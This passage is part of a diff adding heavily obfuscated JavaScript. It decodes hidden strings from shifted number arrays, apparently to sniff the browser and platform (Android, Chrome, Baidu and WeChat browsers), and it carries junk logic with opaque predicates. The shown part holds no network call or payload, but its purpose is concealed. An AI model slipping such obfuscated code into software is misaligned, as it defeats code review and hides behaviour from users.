_$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$tR = _$Ev + } + _$Qv = _$fR; + _$Wv = _$LC; + _$Yv = _$nR; + _$Ov = _$Qv[_$Wv](_$Yv); + _$fR = _$Ov; + _$Qv = _$dl; + _$oR = _$Qv; + _$Wv = 1; + _$kR = _$Wv; + _$Qv = _$kR; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$kR = _$Yv; + _$Qv = 1; + _$oR = _$Qv; + _$Qv = _$BC; + _$bR = _$Qv; + _$Qv = _$kR; + _$oR = _$Qv; + _$Qv = 3440640; + _$Wv = 3604480; + _$Yv = 3276800; + _$Ov = 3309568; + _$Pv = 3932160; + _$Gv = 2588672; + _$Zv = 3342336; + _$Ev = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv]; + _$kR = _$Ev; + for (_$lR = 0; _$lR < _$kR.length; _$lR++) { + _$Qv = _$bR; + _$Wv = _$kR; + _$Yv = _$lR; + _$Ov = _$Wv[_$Yv]; + _$Pv = 15; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$bR = _$Ev + } + _$Qv = _$kR; + _$Wv = _$LC; + _$Yv = _$oR; + _$Ov = _$Qv[_$Wv](_$Yv); + _$kR = _$Ov; + _$Qv = _$wl; + _$hR = _$Qv; + _$Wv = 1; + _$gR = _$Wv; + _$Qv = _$gR; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$gR = _$Yv; + _$Qv = 1; + _$hR = _$Qv; + _$Qv = _$BC; + _$uR = _$Qv; + _$Qv = _$gR; + _$hR = _$Qv; + _$Qv = 215040; + _$Wv = 225280; + _$Yv = 204800; + _$Ov = 206848; + _$Pv = 245760; + _$Gv = 161792; + _$Zv = 208896; + _$Ev = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv]; + _$gR = _$Ev; + for (_$pR = 0; _$pR < _$gR.length; _$pR++) { + _$Qv = _$uR; + _$Wv = _$gR; + _$Yv = _$pR; + _$Ov = _$Wv[_$Yv]; + _$Pv = 11; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$uR = _$Ev + } + _$Qv = _$gR; + _$Wv = _$LC; + _$Yv = _$hR; + _$Ov = _$Qv[_$Wv](_$Yv); + _$gR = _$Ov; + _$Qv = _$yl; + _$yR = _$Qv; + _$Wv = 1; + _$wR = _$Wv; + _$Qv = _$wR; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$wR = _$Yv; + _$Qv = 1; + _$yR = _$Qv; + _$Qv = _$BC; + _$dR = _$Qv; + _$Qv = _$wR; + _$yR = _$Qv; + _$Qv = 210; + _$Wv = 220; + _$Yv = 200; + _$Ov = 202; + _$Pv = 240; + _$Gv = 158; + _$Zv = 204; + _$Ev = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv]; + _$wR = _$Ev; + for (_$MR = 0; _$MR < _$wR.length; _$MR++) { + _$Qv = _$dR; + _$Wv = _$wR; + _$Yv = _$MR; + _$Ov = _$Wv[_$Yv]; + _$Pv = 1; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$dR = _$Ev + } + _$Qv = _$wR; + _$Wv = _$LC; + _$Yv = _$yR; + _$Ov = _$Qv[_$Wv](_$Yv); + _$wR = _$Ov; + _$Qv = _$pl; + _$IR = _$Qv; + _$Wv = 1; + _$AR = _$Wv; + _$Qv = _$AR; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$AR = _$Yv; + _$Qv = 1; + _$IR = _$Qv; + _$Qv = _$BC; + _$SR = _$Qv; + _$Qv = _$AR; + _$IR = _$Qv; + _$Qv = 26880; + _$Wv = 28160; + _$Yv = 25600; + _$Ov = 25856; + _$Pv = 30720; + _$Gv = 20224; + _$Zv = 26112; + _$Ev = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv]; + _$AR = _$Ev; + for (_$mR = 0; _$mR < _$AR.length; _$mR++) { + _$Qv = _$SR; + _$Wv = _$AR; + _$Yv = _$mR; + _$Ov = _$Wv[_$Yv]; + _$Pv = 8; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$SR = _$Ev + } + _$Qv = _$AR; + _$Wv = _$LC; + _$Yv = _$IR; + _$Ov = _$Qv[_$Wv](_$Yv); + _$AR = _$Ov; + _$Qv = _$ul; + _$TR = _$Qv; + _$Wv = 1; + _$jR = _$Wv; + _$Qv = _$jR; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$jR = _$Yv; + _$Qv = 1; + _$TR = _$Qv; + _$Qv = _$BC; + _$CR = _$Qv; + _$Qv = _$jR; + _$TR = _$Qv; + _$Qv = 55808; + _$Wv = 56832; + _$Yv = 50176; + _$Ov = 53760; + _$Pv = 55296; + _$Gv = 51712; + _$Zv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv]; + _$jR = _$Zv; + for (_$DR = 0; _$DR < _$jR.length; _$DR++) { + _$Qv = _$CR; + _$Wv = _$jR; + _$Yv = _$DR; + _$Ov = _$Wv[_$Yv]; + _$Pv = 9; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$CR = _$Ev + } + _$Qv = _$jR; + _$Wv = _$LC; + _$Yv = _$TR; + _$Ov = _$Qv[_$Wv](_$Yv); + _$jR = _$Ov; + _$Qv = _$gl; + _$KR = _$Qv; + _$Wv = 1; + _$QR = _$Wv; + _$Qv = _$QR; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$QR = _$Yv; + _$Qv = 1; + _$KR = _$Qv; + _$Qv = _$BC; + _$WR = _$Qv; + _$Qv = _$QR; + _$KR = _$Qv; + _$Qv = 7232; + _$Wv = 7232; + _$Yv = 6272; + _$Ov = 7296; + _$Pv = 7104; + _$Gv = 7616; + _$Zv = 7360; + _$Ev = 6464; + _$_v = 7296; + _$Vv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev, _$_v]; + _$QR = _$Vv; + for (_$YR = 0; _$YR < _$QR.length; _$YR++) { + _$Qv = _$WR; + _$Wv = _$QR; + _$Yv = _$YR; + _$Ov = _$Wv[_$Yv]; + _$Pv = 6; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$WR = _$Ev + } + _$Qv = _$QR; + _$Wv = _$LC; + _$Yv = _$KR; + _$Ov = _$Qv[_$Wv](_$Yv); + _$QR = _$Ov; + _$Qv = _$hl; + _$UR = _$Qv; + _$Wv = 1; + _$OR = _$Wv; + _$Qv = _$OR; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$OR = _$Yv; + _$Qv = 1; + _$UR = _$Qv; + _$Qv = _$BC; + _$PR = _$Qv; + _$Qv = _$OR; + _$UR = _$Qv; + _$Qv = 388; + _$Wv = 440; + _$Yv = 400; + _$Ov = 456; + _$Pv = 444; + _$Gv = 420; + _$Zv = 400; + _$Ev = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv]; + _$OR = _$Ev; + for (_$GR = 0; _$GR < _$OR.length; _$GR++) { + _$Qv = _$PR; + _$Wv = _$OR; + _$Yv = _$GR; + _$Ov = _$Wv[_$Yv]; + _$Pv = 2; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$PR = _$Ev + } + _$Qv = _$OR; + _$Wv = _$LC; + _$Yv = _$UR; + _$Ov = _$Qv[_$Wv](_$Yv); + _$OR = _$Ov; + _$Qv = _$$ + _$ea + _$aa + _$ie; + _$qR = _$Qv; + _$Qv = _$qR; + _$Wv = _$PC; + _$Yv = _$Qv[_$Wv]; + _$NR = _$Yv; + _$Qv = []; + _$HR = _$Qv; + for (_$xR = 0; _$xR < _$NR; _$xR++) { + _$Qv = _$qR; + _$Wv = _$OC; + _$Yv = _$xR; + _$Ov = _$Qv[_$Wv](_$Yv); + _$ZR = _$Ov; + _$Qv = _$ZR; + _$Wv = 65536; + _$Yv = _$Qv >= _$Wv; + _$Ov = _$Yv; + if (_$Ov) { + _$ks = _$ZR; + _$Ns = 1114111; + _$Ov = _$ks <= _$Ns + } + if (_$Ov) { + _$Qv = _$HR; + _$Wv = _$LC; + _$Yv = _$ZR; + _$Ov = 18; + _$Pv = _$Yv >> _$Ov; + _$Gv = 7; + _$Zv = _$Pv & _$Gv; + _$Ev = 240; + _$_v = _$Zv | _$Ev; + _$Qv[_$Wv](_$_v); + _$Qv = _$HR; + _$Wv = _$LC; + _$Yv = _$ZR; + _$Ov = 12; + _$Pv = _$Yv >> _$Ov; + _$Gv = 63; + _$Zv = _$Pv & _$Gv; + _$Ev = 128; + _$_v = _$Zv | _$Ev; + _$Qv[_$Wv](_$_v); + _$Qv = _$HR; + _$Wv = _$LC; + _$Yv = _$ZR; + _$Ov = 6; + _$Pv = _$Yv >> _$Ov; + _$Gv = 63; + _$Zv = _$Pv & _$Gv; + _$Ev = 128; + _$_v = _$Zv | _$Ev; + _$Qv[_$Wv](_$_v); + _$Qv = _$HR; + _$Wv = _$LC; + _$Yv = _$ZR; + _$Ov = 63; + _$Pv = _$Yv & _$Ov; + _$Gv = 128; + _$Zv = _$Pv | _$Gv; + _$Qv[_$Wv](_$Zv) + } else { + _$Qv = _$ZR; + _$Wv = 2048; + _$Yv = _$Qv >= _$Wv; + _$Ov = _$Yv; + if (_$Ov) { + _$ks = _$ZR; + _$Ns = 65535; + _$Ov = _$ks <= _$Ns + } + if (_$Ov) { + _$Qv = _$HR; + _$Wv = _$LC; + _$Yv = _$ZR; + _$Ov = 12; + _$Pv = _$Yv >> _$Ov; + _$Gv = 15; + _$Zv = _$Pv & _$Gv; + _$Ev = 224; + _$_v = _$Zv | _$Ev; + _$Qv[_$Wv](_$_v); + _$Qv = _$HR; + _$Wv = _$LC; + _$Yv = _$ZR; + _$Ov = 6; + _$Pv = _$Yv >> _$Ov; + _$Gv = 63; + _$Zv = _$Pv & _$Gv; + _$Ev = 128; + _$_v = _$Zv | _$Ev; + _$Qv[_$Wv](_$_v); + _$Qv = _$HR; + _$Wv = _$LC; + _$Yv = _$ZR; + _$Ov = 63; + _$Pv = _$Yv & _$Ov; + _$Gv = 128; + _$Zv = _$Pv | _$Gv; + _$Qv[_$Wv](_$Zv) + } else { + _$Qv = _$ZR; + _$Wv = 128; + _$Yv = _$Qv >= _$Wv; + _$Ov = _$Yv; + if (_$Ov) { + _$ks = _$ZR; + _$Ns = 2047; + _$Ov = _$ks <= _$Ns + } + if (_$Ov) { + _$Qv = _$HR; + _$Wv = _$LC; + _$Yv = _$ZR; + _$Ov = 6; + _$Pv = _$Yv >> _$Ov; + _$Gv = 31; + _$Zv = _$Pv & _$Gv; + _$Ev = 192; + _$_v = _$Zv | _$Ev; + _$Qv[_$Wv](_$_v); + _$Qv = _$HR; + _$Wv = _$LC; + _$Yv = _$ZR; + _$Ov = 63; + _$Pv = _$Yv & _$Ov; + _$Gv = 128; + _$Zv = _$Pv | _$Gv; + _$Qv[_$Wv](_$Zv) + } else { + _$Qv = _$HR; + _$Wv = _$LC; + _$Yv = _$ZR; + _$Ov = 255; + _$Pv = _$Yv & _$Ov; + _$Qv[_$Wv](_$Pv) + } + } + } + } + _$Qv = _$HR; + _$Wv = _$PC; + _$Yv = _$Qv[_$Wv]; + _$zR = _$Yv; + _$Qv = _$zR; + _$Wv = 2; + _$Yv = _$Qv / _$Wv; + _$zR = _$Yv; + _$Qv = []; + _$BR = _$Qv; + _$Qv = 0; + _$ER = _$Qv; + for (_$XR = 0; _$XR < _$zR; _$XR++) { + _$Qv = _$HR; + _$Wv = _$ER; + _$Yv = _$Qv[_$Wv]; + _$LR = _$Yv; + _$Qv = _$HR; + _$Wv = _$ER; + _$Yv = 1; + _$Ov = _$Wv + _$Yv; + _$Pv = _$Qv[_$Ov]; + _$VR = _$Pv; + _$Qv = _$ER; + _$Wv = 2; + _$Yv = _$Qv + _$Wv; + _$ER = _$Yv; + _$Qv = _$LR; + _$Wv = 46; + _$Yv = _$Qv - _$Wv; + _$LR = _$Yv; + _$Qv = _$VR; + _$Wv = 46; + _$Yv = _$Qv - _$Wv; + _$VR = _$Yv; + _$Qv = _$VR; + _$Wv = 19; + _$Yv = _$Qv * _$Wv; + _$Ov = _$LR; + _$Pv = _$Yv + _$Ov; + _$_R = _$Pv; + _$Qv = _$_R; + _$Wv = 11; + _$Yv = _$Qv ^ _$Wv; + _$RR = _$Yv; + _$Qv = _$BR; + _$Wv = _$XR; + _$Yv = _$RR; + _$Qv[_$Wv] = _$Yv + } + _$Qv = _$BC; + _$FR = _$Qv; + for (_$r_ = 0; _$r_ < _$BR.length; _$r_++) { + _$Qv = _$BR; + _$Wv = _$r_; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$dc + _$Mc; + _$Pv = 2; + _$Gv = _$Yv[_$Ov](_$Pv); + _$JR = _$Gv; + _$Qv = _$JR; + _$Wv = _$LS; + _$Yv = /^1+?(?=0)/; + _$Ov = _$Qv[_$Wv](_$Yv); + _$$R = _$Ov; + _$Qv = _$$R; + _$Wv = _$Qv; + if (_$Wv) { + _$ks = _$JR; + _$Ns = _$PC; + _$Hs = _$ks[_$Ns]; + _$xs = 8; + _$Wv = _$Hs === _$xs + } + if (_$Wv) { + _$Qv = _$$R; + _$Wv = 0; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$PC; + _$Pv = _$Yv[_$Ov]; + _$a_ = _$Pv; + _$Qv = _$BR; + _$Wv = _$r_; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$wc + _$yc; + _$Pv = 2; + _$Gv = _$Yv[_$Ov](_$Pv); + _$Zv = _$_S; + _$Ev = 7; + _$_v = _$a_; + _$Vv = _$Ev - _$_v; + _$qv = _$Gv[_$Zv](_$Vv); + _$e_ = _$qv; + for (_$c_ = 0; _$c_ < _$a_; _$c_++) { + _$Qv = _$BR; + _$Wv = _$c_; + _$Yv = _$r_; + _$Ov = _$Wv + _$Yv; + _$Pv = _$Qv[_$Ov]; + _$Gv = _$gr + _$ur; + _$Zv = 2; + _$Ev = _$Pv[_$Gv](_$Zv); + _$_v = _$_S; + _$Vv = 2; + _$qv = _$Ev[_$_v](_$Vv); + _$e_ += _$qv + } + _$Qv = _$e_; + _$Wv = 2; + _$Yv = parseInt(_$Qv, _$Wv); + _$Ov = _$bW(_$Yv); + _$FR += _$Ov; + _$Qv = _$a_; + _$Wv = 1; + _$Yv = _$Qv - _$Wv; + _$r_ += _$Yv + } else { + _$Qv = _$BR; + _$Wv = _$r_; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$bW(_$Yv); + _$FR += _$Ov + } + } + _$Qv = _$ll; + _$v_ = _$Qv; + _$Wv = 1; + _$s_ = _$Wv; + _$Qv = _$s_; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$s_ = _$Yv; + _$Qv = 1; + _$v_ = _$Qv; + _$Qv = _$BC; + _$n_ = _$Qv; + _$Qv = _$s_; + _$v_ = _$Qv; + _$Qv = 1680; + _$Wv = 1760; + _$Yv = 1600; + _$Ov = 1616; + _$Pv = 1920; + _$Gv = 1264; + _$Zv = 1632; + _$Ev = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv]; + _$s_ = _$Ev; + for (_$f_ = 0; _$f_ < _$s_.length; _$f_++) { + _$Qv = _$n_; + _$Wv = _$s_; + _$Yv = _$f_; + _$Ov = _$Wv[_$Yv]; + _$Pv = 4; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$n_ = _$Ev + } + _$Qv = _$s_; + _$Wv = _$LC; + _$Yv = _$v_; + _$Ov = _$Qv[_$Wv](_$Yv); + _$s_ = _$Ov; + _$Qv = _$bl; + _$t_ = _$Qv; + _$Wv = 1; + _$i_ = _$Wv; + _$Qv = _$i_; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$i_ = _$Yv; + _$Qv = 1; + _$t_ = _$Qv; + _$Qv = _$BC; + _$o_ = _$Qv; + _$Qv = _$i_; + _$t_ = _$Qv; + _$Qv = 59904; + _$Wv = 50176; + _$Yv = 58368; + _$Ov = 56832; + _$Pv = 60928; + _$Gv = 58880; + _$Zv = 51712; + _$Ev = 58368; + _$_v = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev]; + _$i_ = _$_v; + for (_$k_ = 0; _$k_ < _$i_.length; _$k_++) { + _$Qv = _$o_; + _$Wv = _$i_; + _$Yv = _$k_; + _$Ov = _$Wv[_$Yv]; + _$Pv = 9; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$o_ = _$Ev + } + _$Qv = _$i_; + _$Wv = _$LC; + _$Yv = _$t_; + _$Ov = _$Qv[_$Wv](_$Yv); + _$i_ = _$Ov; + _$Qv = _$kl; + _$b_ = _$Qv; + _$Wv = 1; + _$l_ = _$Wv; + _$Qv = _$l_; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$l_ = _$Yv; + _$Qv = 1; + _$b_ = _$Qv; + _$Qv = _$BC; + _$h_ = _$Qv; + _$Qv = _$l_; + _$b_ = _$Qv; + _$Qv = 6720; + _$Wv = 7040; + _$Yv = 6400; + _$Ov = 6464; + _$Pv = 7680; + _$Gv = 5056; + _$Zv = 6528; + _$Ev = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv]; + _$l_ = _$Ev; + for (_$g_ = 0; _$g_ < _$l_.length; _$g_++) { + _$Qv = _$h_; + _$Wv = _$l_; + _$Yv = _$g_; + _$Ov = _$Wv[_$Yv]; + _$Pv = 6; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$h_ = _$Ev + } + _$Qv = _$l_; + _$Wv = _$LC; + _$Yv = _$b_; + _$Ov = _$Qv[_$Wv](_$Yv); + _$l_ = _$Ov; + _$Qv = _$ol; + _$u_ = _$Qv; + _$Wv = 1; + _$p_ = _$Wv; + _$Qv = _$p_; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$p_ = _$Yv; + _$Qv = 1; + _$u_ = _$Qv; + _$Qv = _$BC; + _$y_ = _$Qv; + _$Qv = _$p_; + _$u_ = _$Qv; + _$Qv = 202752; + _$Wv = 212992; + _$Yv = 233472; + _$Ov = 227328; + _$Pv = 223232; + _$Gv = 206848; + _$Zv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv]; + _$p_ = _$Zv; + for (_$w_ = 0; _$w_ < _$p_.length; _$w_++) { + _$Qv = _$y_; + _$Wv = _$p_; + _$Yv = _$w_; + _$Ov = _$Wv[_$Yv]; + _$Pv = 11; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$y_ = _$Ev + } + _$Qv = _$p_; + _$Wv = _$LC; + _$Yv = _$u_; + _$Ov = _$Qv[_$Wv](_$Yv); + _$p_ = _$Ov; + _$Qv = _$il; + _$d_ = _$Qv; + _$Wv = 1; + _$M_ = _$Wv; + _$Qv = _$M_; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$M_ = _$Yv; + _$Qv = 1; + _$d_ = _$Qv; + _$Qv = _$BC; + _$I_ = _$Qv; + _$Qv = _$M_; + _$d_ = _$Qv; + _$Qv = 3136; + _$Wv = 3104; + _$Yv = 3360; + _$Ov = 3200; + _$Pv = 3744; + _$Gv = 3136; + _$Zv = 3552; + _$Ev = 3840; + _$_v = 3104; + _$Vv = 3584; + _$qv = 3584; + _$Hv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev, _$_v, _$Vv, _$qv]; + _$M_ = _$Hv; + for (_$A_ = 0; _$A_ < _$M_.length; _$A_++) { + _$Qv = _$I_; + _$Wv = _$M_; + _$Yv = _$A_; + _$Ov = _$Wv[_$Yv]; + _$Pv = 5; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$I_ = _$Ev + } + _$Qv = _$M_; + _$Wv = _$LC; + _$Yv = _$d_; + _$Ov = _$Qv[_$Wv](_$Yv); + _$M_ = _$Ov; + _$Qv = _$tl; + _$S_ = _$Qv; + _$Wv = 1; + _$m_ = _$Wv; + _$Qv = _$m_; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$m_ = _$Yv; + _$Qv = 1; + _$S_ = _$Qv; + _$Qv = _$BC; + _$T_ = _$Qv; + _$Qv = _$m_; + _$S_ = _$Qv; + _$Qv = 49664; + _$Wv = 58368; + _$Yv = 55808; + _$Ov = [_$Qv, _$Wv, _$Yv]; + _$m_ = _$Ov; + for (_$j_ = 0; _$j_ < _$m_.length; _$j_++) { + _$Qv = _$T_; + _$Wv = _$m_; + _$Yv = _$j_; + _$Ov = _$Wv[_$Yv]; + _$Pv = 9; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$T_ = _$Ev + } + _$Qv = _$m_; + _$Wv = _$LC; + _$Yv = _$S_; + _$Ov = _$Qv[_$Wv](_$Yv); + _$m_ = _$Ov; + _$Qv = _$fl; + _$C_ = _$Qv; + _$Wv = 1; + _$D_ = _$Wv; + _$Qv = _$D_; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$D_ = _$Yv; + _$Qv = 1; + _$C_ = _$Qv; + _$Qv = _$BC; + _$K_ = _$Qv; + _$Qv = _$D_; + _$C_ = _$Qv; + _$Qv = 55808; + _$Wv = 53760; + _$Yv = 50688; + _$Ov = 58368; + _$Pv = 56832; + _$Gv = 55808; + _$Zv = 51712; + _$Ev = 58880; + _$_v = 58880; + _$Vv = 51712; + _$qv = 56320; + _$Hv = 52736; + _$xv = 51712; + _$Bv = 58368; + _$Xv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev, _$_v, _$Vv, _$qv, _$Hv, _$xv, _$Bv]; + _$D_ = _$Xv; + for (_$Q_ = 0; _$Q_ < _$D_.length; _$Q_++) { + _$Qv = _$K_; + _$Wv = _$D_; + _$Yv = _$Q_; + _$Ov = _$Wv[_$Yv]; + _$Pv = 9; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$K_ = _$Ev + } + _$Qv = _$D_; + _$Wv = _$LC; + _$Yv = _$C_; + _$Ov = _$Qv[_$Wv](_$Yv); + _$D_ = _$Ov; + _$Qv = _$X + _$J + _$F + _$q + _$V + _$x + _$H + _$B; + _$W_ = _$Qv; + _$Wv = function(_$a, _$e) { + var _$r, _$c, _$v, _$s, _$n, _$f, _$t, _$i, _$o, _$k, _$b, _$l, _$h, _$g, _$u, _$p, _$y, _$w, _$d; + for (_$r = 0; _$r < _$a.length; _$r++) { + _$c = _$a; + _$v = _$r; + _$s = _$c[_$v]; + _$n = _$e; + _$f = _$s === _$n; + if (_$f) { + _$c = _$r; + return _$c + } + } + _$c = 1; + _$t = _$c; + _$v = 1; + _$s = -_$v; + _$i = _$s; + _$n = 2; + _$o = _$n; + _$f = 0; + _$k = _$f; + _$c = _$t; + _$v = _$i; + _$s = _$c + _$v; + _$n = 0; + _$f = _$s > _$n; + if (_$f) { + _$c = _$o; + _$v = 3; + _$s = _$c >> _$v; + _$k = _$s; + _$c = _$i; + _$v = _$k; + _$s = _$c + _$v; + _$k = _$s; + _$c = _$t; + _$v = _$o; + _$s = _$k; + _$n = _$v * _$s; + _$f = _$c >> _$n; + _$b = _$t; + _$l = _$f >> _$b; + _$i = _$l; + _$c = _$i; + _$v = _$k; + _$s = _$c / _$v; + _$k = _$s + } + _$c = _$t; + _$v = _$c; + if (_$v) { + _$h = _$i; + _$v = !_$h + } + if (_$v) { + _$c = _$o; + _$v = 3; + _$s = _$c % _$v; + _$k = _$s; + _$c = _$i; + _$v = _$k; + _$s = _$c + _$v; + _$k = _$s + } + _$c = 5; + _$v = -_$c; + _$i = _$v; + _$c = _$t; + _$v = _$i; + _$s = _$c + _$v; + _$n = _$t; + _$f = _$s + _$n; + _$b = 0; + _$l = _$f > _$b; + if (_$l) { + _$c = _$t; + _$v = _$o; + _$s = _$k; + _$n = _$v + _$s; + _$f = _$c >> _$n; + _$b = _$t; + _$l = _$f >> _$b; + _$i = _$l; + _$c = _$i; + _$v = _$k; + _$s = _$c + _$v; + _$k = _$s + } + _$c = _$i; + _$v = _$o; + _$s = _$c + _$v; + _$n = 0; + _$f = _$s > _$n; + if (_$f) { + _$c = _$i; + _$v = _$k; + _$s = _$c + _$v; + _$k = _$s; + _$c = _$i; + _$v = _$k; + _$s = _$c - _$v; + _$o = _$s + } + _$c = _$t; + _$v = _$k; + _$s = _$c + _$v; + _$n = _$i; + _$f = _$s < _$n; + if (_$f) { + _$c = _$t; + _$v = _$o; + _$s = _$k; + _$n = _$v + _$s; + _$f = _$c >> _$n; + _$b = _$t; + _$l = _$i; + _$g = _$b - _$l; + _$u = _$f >> _$g; + _$p = _$k; + _$y = _$u >> _$p; + _$k = _$y + } + _$c = _$o; + _$v = 0; + _$s = _$c < _$v; + if (_$s) { + _$c = _$i; + _$v = _$t; + _$s = _$k; + _$n = _$v / _$s; + _$f = _$c >> _$n; + _$b = _$t; + _$l = _$f >> _$b; + _$o = _$l + } + _$c = _$o; + _$v = _$k; + _$s = _$c + _$v; + _$n = 0; + _$f = _$s < _$n; + if (_$f) { + _$c = _$t; + _$v = _$o; + _$s = _$k; + _$n = _$v * _$s; + _$f = _$c << _$n; + _$b = _$t; + _$l = _$f >> _$b; + _$i = _$l + } + _$c = _$i; + _$v = _$o; + _$s = _$c + _$v; + _$n = 0; + _$f = _$s > _$n; + if (_$f) { + _$c = _$o; + _$v = 2; + _$s = _$c << _$v; + _$o = _$s; + _$c = _$o; + _$v = _$k; + _$s = _$k; + _$n = _$v + _$s; + _$f = _$c >> _$n; + _$b = _$t; + _$l = _$f >> _$b; + _$i = _$l; + _$c = _$i; + _$v = _$k; + _$s = _$c / _$v; + _$k = _$s + } + _$c = _$i; + _$v = !_$c; + if (_$v) { + _$c = _$o; + _$v = 2; + _$s = _$i; + _$n = _$v + _$s; + _$f = _$t; + _$b = _$n - _$f; + _$l = _$c << _$b; + _$o = _$l + } + _$c = _$t; + _$v = !_$c; + if (_$v) { + _$c = 5; + _$v = _$o; + _$s = _$c + _$v; + _$n = 3; + _$f = _$s >> _$n; + _$t = _$f + } + _$c = _$i; + _$v = _$k; + _$s = _$c + _$v; + _$n = 0; + _$f = _$s > _$n; + if (_$f) { + _$c = _$o; + _$v = 4; + _$s = _$i; + _$n = _$v + _$s; + _$f = _$c >> _$n; + _$b = 3; + _$l = _$i; + _$g = _$b * _$l; + _$u = _$o; + _$p = _$g + _$u; + _$y = _$f >> _$p; + _$w = 2; + _$d = _$y << _$w; + _$k = _$d + } + _$c = 1; + _$v = -_$c; + return _$v + } + ; + _$Y_ = _$Wv; + _$Yv = _$Na + _$L + _$_ + _$E + _$Ze + _$R + _$Xa; + _$U_ = _$Yv; + _$Ov = _$U_; + _$Pv = _$PC; + _$Gv = _$Ov[_$Pv]; + _$O_ = _$Gv; + _$Zv = 0; + _$E_ = _$Zv; + _$Qv = []; + _$R_ = _$Qv; + _$Qv = _$W_; + _$Wv = _$PC; + _$Yv = _$Qv[_$Wv]; + _$Ov = 4; + _$Pv = _$Yv / _$Ov; + _$P_ = _$Pv; + for (_$__ = 0; _$__ < _$P_; _$__++) { + _$Qv = _$U_; + _$Wv = _$W_; + _$Yv = _$_C; + _$Ov = _$E_; + _$Pv = _$Wv[_$Yv](_$Ov); + _$Gv = _$Y_(_$Qv, _$Pv); + _$z_ = _$Gv; + _$E_++; + _$Qv = _$U_; + _$Wv = _$W_; + _$Yv = _$_C; + _$Ov = _$E_; + _$Pv = _$Wv[_$Yv](_$Ov); + _$Gv = _$Y_(_$Qv, _$Pv); + _$Z_ = _$Gv; + _$E_++; + _$Qv = _$U_; + _$Wv = _$W_; + _$Yv = _$_C; + _$Ov = _$E_; + _$Pv = _$Wv[_$Yv](_$Ov); + _$Gv = _$Y_(_$Qv, _$Pv); + _$N_ = _$Gv; + _$E_++; + _$Qv = _$U_; + _$Wv = _$W_; + _$Yv = _$_C; + _$Ov = _$E_; + _$Pv = _$Wv[_$Yv](_$Ov); + _$Gv = _$Y_(_$Qv, _$Pv); + _$G_ = _$Gv; + _$E_++; + _$Qv = _$R_; + _$Wv = _$__; + _$Yv = _$z_; + _$Ov = _$O_; + _$Pv = _$Yv * _$Ov; + _$Gv = _$O_; + _$Zv = _$Pv * _$Gv; + _$Ev = _$O_; + _$_v = _$Zv * _$Ev; + _$Vv = _$Z_; + _$qv = _$O_; + _$Hv = _$Vv * _$qv; + _$xv = _$O_; + _$Bv = _$Hv * _$xv; + _$Xv = _$_v + _$Bv; + _$Fv = _$N_; + _$$v = _$O_; + _$es = _$Fv * _$$v; + _$ts = _$Xv + _$es; + _$ds = _$G_; + _$Ms = _$ts + _$ds; + _$Qv[_$Wv] = _$Ms + } + _$Qv = _$BC; + _$P_ = _$Qv; + for (_$L_ = 0; _$L_ < _$R_.length; _$L_++) { + _$Qv = _$R_; + _$Wv = _$L_; + _$Yv = 